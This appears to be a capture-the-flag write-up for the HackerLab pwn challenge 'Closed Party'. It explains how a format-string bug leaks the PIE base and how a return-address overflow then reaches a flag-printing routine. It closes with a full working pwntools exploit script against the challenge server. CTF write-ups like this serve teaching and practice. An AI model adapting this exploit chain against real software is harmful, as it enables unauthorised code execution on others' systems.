Closed Party
Closed Party
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: buffer_overflow_ret_overwrite, pie_base_recovery, ret_to_win, sequential_format_string_leak
Summary
Task: stripped PIE ELF64 with Full RELRO, NX, no canary exposes a format string in the name prompt and a 16-byte buffer overflow in the answer prompt; .data contains a fake flag with C0DEBY. Solution: leak the return address at sequential %p position 47 to recover PIE base, then overflow the answer buffer to redirect execution to the flag-printing code at PIE_base+0x14ec.
Closed Party — hackerlab
Description
Вечеринка только для тех, кто знает PWN (Party only for those who know PWN)
We are given a stripped ELF64 PIE binary (party) that implements a "private party" with a guest list menu. The binary has Full RELRO, NX enabled, no stack canary, and PIE. It contains a fake flag C0DEBY{Et0_N2_fl@g} (note: C0DEBY with a zero, meaning "this is not a flag") in .data. The real flag is only available on the remote server and is printed by a specific code path.
Analysis
Binary protections
text read-only • copy allowedFull RELRO | No canary | NX enabled | PIE enabled | Stripped
Program structure
The binary presents a menu:
text read-only • copy allowedThis is a private PWN party. Entry is only by list. [1] View the list of invited [2] Say your name [3] Leave Choice:
- main (0x151b): Menu handler. Reads one char via
fgetc, dispatches to the selected function, then exits. No loop. - view_list (0x11c9): Prints a table of 10 guests named "John Doe" who all "Know PWN".
- say_name (0x126d): The vulnerable function.
Stack layout of say_name
text read-only • copy allowedsub rsp, 0x140 rbp-0x140: answer_buf (second input buffer, ~100 bytes zeroed) rbp-0xd0: name_buf (first input buffer, 0xc8=200 bytes zeroed) rbp-0x8: ptr = PIE_base+0x4049 (pointer to check byte in .bss) rbp: saved rbp rbp+0x8: return addr = PIE_base+0x15d7 (back into main)
Control flow in say_name
printf("My name is ")+fflush(stdout)fgets(name_buf, 0xc8, stdin)— reads up to 200 bytes into name buffer- Loads pointer from
[rbp-0x8], dereferences byte atPIE_base+0x4049 - If byte != 0 → FLAG PATH (0x14ec): prints
"Yes, now you are on the list. Keep: %s"with the flag from.data - If byte == 0 → NOT ON LIST PATH:
printf(name_buf)— FORMAT STRING VULNERABILITY- Prints rejection messages, then prompts "Answer: "
fgets(answer_buf, 0x150, stdin)— BUFFER OVERFLOW (reads 0x150=336 bytes into buffer at rbp-0x140; frame is only 0x140=320 bytes, overflowing 16 bytes = saved rbp + return address)
Key PIE-relative addresses
| Offset | Description |
|---|---|
| 0x4010 | Flag string in .data |
| 0x4049 | Check byte in .bss (initially 0) |
| 0x14ec | Flag printing code path (win function) |
| 0x151b | main entry |
| 0x15d7 | Return address from say_name back into main |
Vulnerabilities
1. Format String (name input)
printf(name_buf) at offset 0x1457 uses user input directly as the format string. This allows reading arbitrary stack values via %p.
Format string argument positions (from stack layout analysis):
- Position 6: first stack argument
[rbp-0x140] - Position 20: start of
name_buf(our controlled input) - Position 45: pointer at
[rbp-0x8]=PIE_base+0x4049 - Position 46: saved rbp
- Position 47: return address =
PIE_base+0x15d7
Critical caveat: Positional format specifiers like %47$p fail silently on the server's glibc because intermediate argument types are unknown. The solution is to use 47 sequential %p specifiers instead.
2. Buffer Overflow (answer input)
fgets(answer_buf, 0x150, stdin) reads up to 336 bytes into a 320-byte space before saved rbp. This overflows exactly 16 bytes: 8 bytes for saved rbp + 8 bytes for the return address.
Since fgets reads at most size-1 = 335 characters and appends a null terminator as the 336th byte, we can control 7 bytes of the return address with the 8th byte (MSB) being 0x00 — which is correct for PIE addresses in userspace.
Solution
Two-step chain: Format String leak → Buffer Overflow redirect.
Step 1: Leak PIE base via format string
Send 46 %p. specifiers followed by RET:%p:END to leak the return address at stack position 47. The total payload is 148 bytes, well within the 200-byte fgets limit.
Parse the value between RET: and :END markers as the return address, then compute:
text read-only • copy allowedPIE_base = leaked_return_address - 0x15d7
Step 2: Buffer overflow to flag code
In the "Answer:" prompt, send an overflow payload:
- 320 bytes (0x140) of padding to fill the buffer
- 8 bytes of fake rbp (any writable address or zeros)
- 7 bytes of the target return address (
PIE_base + 0x14ec) - The 8th byte (MSB = 0x00) is supplied by
fgets's null terminator
The code at 0x14ec uses only RIP-relative addressing to load and print the flag string, so it works regardless of the rbp value. After printing, it calls fflush(stdout) ensuring output is sent before any crash.
python read-only • copy allowed#!/usr/bin/env python3 """ Exploit for "Закрытая вечеринка" (Closed Party) — HackerLab PWN Chain: format string PIE leak → buffer overflow ret2win """ from pwn import * context.arch = "amd64" REMOTE = ("62.173.140.174", 27100) # PIE offsets RET_ADDR_OFFSET = 0x15D7 # return address from say_name back into main FLAG_CODE_OFFSET = 0x14EC # flag printing code path OVERFLOW_PADDING = 0x140 # 320 bytes to reach saved rbp def exploit(): io = remote(*REMOTE) # === Step 1: Leak PIE base via format string === io.recvuntil(b"Choice: ") io.send(b"2\n") io.recvuntil(b"My name is ") # 46 × "%p." + "RET:%p:END" = 148 bytes (fits in 200-byte fgets) payload = b"%p." * 46 + b"RET:%p:END" io.sendline(payload) # Parse the return address from "RET:0xXXXX:END" data = io.recvuntil(b"Excuse me", drop=True, timeout=10) data_str = data.decode(errors="replace") ret_start = data_str.index("RET:") + 4 ret_end = data_str.index(":END") ret_addr = int(data_str[ret_start:ret_end], 16) pie_base = ret_addr - RET_ADDR_OFFSET log.success(f"Return address: {hex(ret_addr)}") log.success(f"PIE base: {hex(pie_base)}") # === Step 2: Buffer overflow to flag code === io.recvuntil(b"Answer: ") target = pie_base + FLAG_CODE_OFFSET payload = b"A" * OVERFLOW_PADDING # 320 bytes padding payload += p64(0) # 8 bytes fake rbp payload += p64(target)[:7] # 7 bytes of return address # fgets appends 0x00 as the 336th byte = MSB of return address assert len(payload) == 335 io.sendline(payload) # === Step 3: Receive the flag === result = io.recvall(timeout=10) if b"CODEBY{" in result: flag_start = result.index(b"CODEBY{") flag_end = result.index(b"}", flag_start) + 1 flag = result[flag_start:flag_end].decode() log.success(f"FLAG: {flag}") else: log.info(f"Output: {result}") io.close() if __name__ == "__main__": exploit()